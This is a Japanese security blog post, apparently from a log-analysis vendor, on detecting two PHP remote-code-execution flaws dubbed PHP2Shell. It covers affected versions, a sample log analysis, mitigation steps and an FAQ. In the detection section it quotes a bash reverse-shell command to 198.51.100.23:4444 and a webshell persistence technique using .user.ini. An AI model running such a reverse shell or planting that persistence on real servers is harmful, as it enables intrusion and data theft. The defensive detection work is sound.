PHP2Shell の検出が重要である理由は、パッチと実際の攻撃の間の時間差が1日以内になることがあるからです。PHP2Shell は、PHP コアの2つの認証不要のリモートコード実行脆弱性、CVE-2026-109618およびCVE-2026-109619の名前であり、いずれもCVSS v4.0で9.2と評価されています。認証は不要で、未パッチのリリースに露出しているPHPアプリケーションはすべて標的になります。以下のサンプルでは、PHPワーカーのクラッシュとその後のウェブサーバーユーザーとしてのコマンド実行として攻撃が現れています。
この記事は、ログ解析ツールLogTotalを用いて、既知の脅威にイベントを一致させることでPHP2Shellの検出をカバーしています。以下では、脆弱性の背景、ログの出所、LogTotalの発見、そして対応方法を説明します。
PHP2Shellの分析
両方のPHP2Shellの脆弱性はCVSS v4.0で9.2と評価されており、どのPHPインストールでも認証なしで到達可能です。ログサンプルを正しく読むには、それぞれのバグの動作、公開の速さ、どのインストールが露出しているかを知っておくと役立ちます。
PHP2Shellの脆弱性詳細
2つのCVEは、PHPがリクエストを処理する際のメモリ安全性の別々のバグです。どちらも攻撃者がウェブサーバーユーザーとしてコードを実行できるようにします。
- CVE-2026-109618、メモリ不足の破損。 PHPがリクエストの設定途中でメモリ不足になると、内部データが半分構築されたままになり、クリーンアップコードがそれを信頼します。
- CVE-2026-109619、古いグローバル状態。 内部状態が指すリクエストメモリが存続しているため、次のリクエストで同じワーカーがピックアップすると残っているデータに基づいて行動できます。
このため、攻撃はPHP「許可されたメモリサイズ…消費された」エラーとPHPワーカークラッシュとして現れます。公開されているPHP2Shellスキャナも同様のシグナルを探します。
公開と攻撃のタイムライン
| 日付 (2026年) | イベント |
| 10月26日 | CISAがCVE-2026-109618をKEVカタログに追加 |
| 10月22日 | このサンプルでの攻撃がweb-prod-01にログされました |
| 10月21日 | PHPが修正リリースを公開; watchTowrが野生での攻撃を観測 |
| 10月20日 | 詳細が予定されていた10月22日の公開前にソーシャルメディアで漏洩; PHPが緊急リリースを発表 |
Califの研究者が脆弱性を見つけ、PHPに報告しました。漏洩があったため、LogTotalのチェーンは「リークされた重大なPHP脆弱性」と題されています。公開PoCコードと攻撃フレームワークは数日以内にGitHub上に登場し、1つの研究ツールキットはPHPの7.4から8.4のビルドの修正リリース以下でwww-dataとしてのコマンド実行を確認しました。
PHP2Shellが影響を与えるシステム
PHPは、8.5.12、8.4.27、8.3.36、8.2.35以前のすべてのリリース、および古いブランチが影響を受けているとリストしています。
| PHPブランチ | 影響を受ける | Fix |
| 8.5.x | 8.5.12未満 | 8.5.12 |
| 8.4.x | 8.4.27未満 | 8.4.27 |
| 8.3.x | 8.3.36未満 | 8.3.36 |
| 8.2.x | 8.2.35未満 | 8.2.35 |
| 7.4、8.0、8.1 | すべてのバージョン | 公式リリースなし; ディストリビューションまたはLTSベンダーパッケージ、PHPの最小限のソースバックポートを使用するか、アップグレード |
| 7.3と古いもの、PHP 5を含む | すべてのバージョン | 修正なし; サポートされているブランチにアップグレード |
PHP-FPM、Apache mod_php、php-cgi、LiteSpeed、またはFrankenPHPの下で実行されるかどうかにかかわらず、ウェブリクエストを提供するすべてのPHPインストールは対象内です。PHPは、攻撃がアプリケーションコードが実行される前に成功する可能性があるApache mod_phpのリスクが最も高いと評価しています。
ログソースと収集
| 属性 | 値 |
| ファイル | PHP2Shell_sample.jsonl |
| イベント | 6 |
| ホスト | web-prod-01(Linuxプロダクションウェブサーバー) |
| 時間ウィンドウ | 2026年10月22日,11:31:30 から11:31:33 UTC (3秒) |
| スキーマ | ECSスタイル(@timestamp、event、host、process、file、user) |
ファイルは2つのソースを1つのスキーマにブレンドしています:
- 2行のプレーンテキスト行 PHPランタイムとPHP-FPMエラーログより
- 4イベント (ファイルおよびプロセス)、ECSに正規化
混合は、実際にSIEMに到達するものの典型です:アプリケーションエラーログとEDRのテレメトリ。
PHP2Shellを検出する
LogTotalは4.2秒で6行を処理し、9つのルールを4行に対して一致させ、web-prod-01上で1つのチェーンを形成しました: PHP2Shell、リークされた重大なPHP脆弱性(CVE-2026-109618およびCVE-2026-109619)、重大、100%一致、3ルールが発火。
| 評決フィールド | 結果 |
| 評決 | 疑わしい、調査が必要 |
| 重大度 | 重大 |
| 信頼度 | 中 |
PHP2Shellチェーンがどのように展開するのか
チェーンは、3秒以内に3つのステップで攻撃を追います。
- クラッシュ。 「可能性のあるCVE-2026-109618 / CVE-2026-109619攻撃試み – PHPメモリ消費 / PHPワーカークラッシュ」のルールが、PHP致命的な「許可されたメモリサイズ…消費された」エラーとSIGSEGVで死亡したPHP-FPM子1201に一致しました。これらは、公開されているPHP2Shellスキャナが探す同じクラッシュシグナルです。
- ウェブワーカーからのシェル。 「可能性のあるPHPワーカ生成の不審なプロセス」と「ウェブサーバ経由の不審なシェル[Linux]」が、www-dataとして動作するphp-fpm、sh -c bash /dev/shm/.sを生成するのをキャッチしました。そのスクリプトはRAMにバックアップされた/dev/shmに段階的に設置されました。
- リバースシェル。 bash -i >& /dev/tcp/198.51.100.23/4444 0>&1に「可能性のあるデータ漏洩 / バッシュ経由のリバースシェル」が一致しました。チェーン外で、4つのルールが同じコマンドにヒットし、Linuxリバースシェルインジケータ(重大)で先導されました。
LogTotalの調査結果をPHP2Shellのトリアージで使用する
チェーンは1つの画面でイベントの順序と重大度を提供します。生のイベントは、ブロックすべきIOCと削除すべき永続性を提供します。両方を使います:チェーンの3つのステップを確認し、ファイルイベントとコマンドラインをレビューしてIOCと永続性を確認します。
PHP2Shellの緩和策
PHP2Shellに対する決定的な対策は修正済みのPHPリリースであり、PHPはこれらの脆弱性を完全に緩和する設定変更はないと述べています。既に攻撃を受けたサーバーでは、パッチを当てるだけでは不十分であり、PHPアップグレードを通じてwebshellと.user.iniが持続します。
すべてのPHPインストールにパッチを当てる
- インターネットに面したシステムやApacheモジュールとしてPHPを実行しているシステムから始めて、PHPを実行しているすべてのサーバーとアプリケーションを目録作成する。
- それぞれのインストールをそのブランチに合わせて8.5.12、8.4.27、8.3.36、または8.2.35に更新する。Linuxディストリビューションはリリースに先立ってパッチを受け取ったので、更新されたディストリビューションパッケージを確認してください。
- 修正が有効になるように、すべてのPHPワーカを再起動する。
- PHP 7.4、8.0、および8.1の場合、ディストリビューションやLTSベンダーパッケージ、PHPの最小限のソースバックポートを使用するか、アップグレードしてください。PHP 7.3と古いものには修正がありません。
- すぐに更新できないPHPシステムへのインターネットアクセスを制限する。
コミュニティのトラッカーも別のセッションアップロード進行ベクターであるCVE-2026-115560を報告しています。これは、2026年10月23日のPHP情報アドバイザリーでカバーされています。この穴はPHP2Shellの一部ではなく、後のリリースに残されています。暫定的な推奨は session.upload_progress.enabled = 0 です。
LogTotalの推奨応答
- web-prod-01を隔離します。
- そのウェブ、システム、およびネットワークログを保存する。
- リバースシェルの宛先を調査します。
- PHPのバージョンとパッチを確認する。
- 今後のPHPワーカクラッシュとシェル生成に関するアラートを出します。
生の証拠からの追加ステップ
- エグレスをブロック 198.51.100.23:4444へ。
- クリーンアップ前に証拠を保存する: uploads/.cache.php、.user.ini、および/dev/shm/.sをコピーします。/dev/shm内のファイルは再起動時に失われます。
- 永続性を削除します。 auto_prepend_fileディレクティブを削除するか、修正済みのPHPリリースでホストをリビルドします。
- www-dataが読み取れるすべての秘密をローテーションする、例えばアプリケーション構成内のデータベースクレデンシャルやAPIキーなど。
- ウェブフリートを監視する :
- .user.ini ファイル(auto_prepend_fileを含む)
- アップロードフォルダーに隠されたPHPファイル
- php-fpm、php-cgi、apache2、またはhttpdによって生成されたシェル
継続するPHP2Shellの監視
クラッシュラインが最初のシグナルで、EDRファイルイベントが永続性を保持していたこのサンプルでは、EDRテレメトリーと並んでPHPおよびPHP-FPMエラーログをSIEMに流し続けてください。いずれのソース単独でも、話の半分しか伝えられなかったでしょう。
FAQ
PHP2Shellとは何で、その仕組みは?
PHP2Shellは、PHPコアの2つの認証不要のリモートコード実行脆弱性、CVE-2026-109618(メモリ不足の破損)およびCVE-2026-109619(古いグローバル状態)で、それぞれCVSS v4.0で9.2と評価されています。どちらも攻撃者にウェブサーバーユーザーとしてのコード実行を許可します。上記の分析セクションでは、それぞれの仕組みを説明しています。
PHP2Shellが最初に発見されたのはいつですか?
Califの研究者がPHPに脆弱性を報告しました。詳細が2026年10月20日に漏洩し、PHPは当初の公開予定日より1日前の10月21日に修正を出荷しました。
PHP2Shellが影響を与えるPHPバージョンはどれですか?
8.5.12、8.4.27、8.3.36、8.2.35以前のすべてのリリースに加え、PHP 7.4、8.0、8.1、および古いブランチ(PHP 5を含む)です。ウェブリクエストを提供するすべてのPHPインストールが対象で、Apache mod_phpの場合は特に高いリスクです。
PHP2Shellがシステムに与える影響は何ですか?
認証不要の攻撃者がウェブサーバーユーザーとしてコードを実行できます。このサンプルでは、198.51.100.23:4444へのリバースシェルと、.user.iniを通じてすべてのPHPリクエストにロードされる隠されたウェブシェルに繋がりました。www-dataが読み取れるすべての秘密は露出されたと見なされるべきです。
2026年にまだPHP2Shellの影響を受ける可能性はありますか?
はい。PHP2Shellは野生で悪用されており、CISAのKEVカタログに掲載されています。未パッチのサーバー、バックポートのないサポート終了のブランチ、およびウェブシェルの永続性が削除されなかった侵害サーバーはすべてリスクにさらされています。
PHP2Shellから自分を守るにはどうすればいいですか?
修正済みのPHPリリースにアップグレードし、すべてのPHPワーカを再起動します; 設定変更ではPHP2Shellを完全に緩和することはできません。その後、ウェブサーバーのエグレスを制限し、webユーザーが読み取れる秘密をローテーションし、永続性のためにアップロードフォルダと.user.iniファイルを監査します。緩和策セクションに詳しい手順が記載されています。
PHP2Shellをどのように検出できますか?
PHPおよびPHP-FPMのエラーログをEDRプロセスおよびファイルイベントと共に収集します。PHPのメモリ不足やワーカクラッシュ、php-fpm、php-cgi、apache2、httpdによって生成されたシェル、およびauto_prepend_fileのある新しい.user.iniファイルに関するアラートを出します。LogTotalによるエクスポートの実行で、これらのイベントがPHP2Shellチェーンにマップされ、攻撃順序が一画面で表示されます。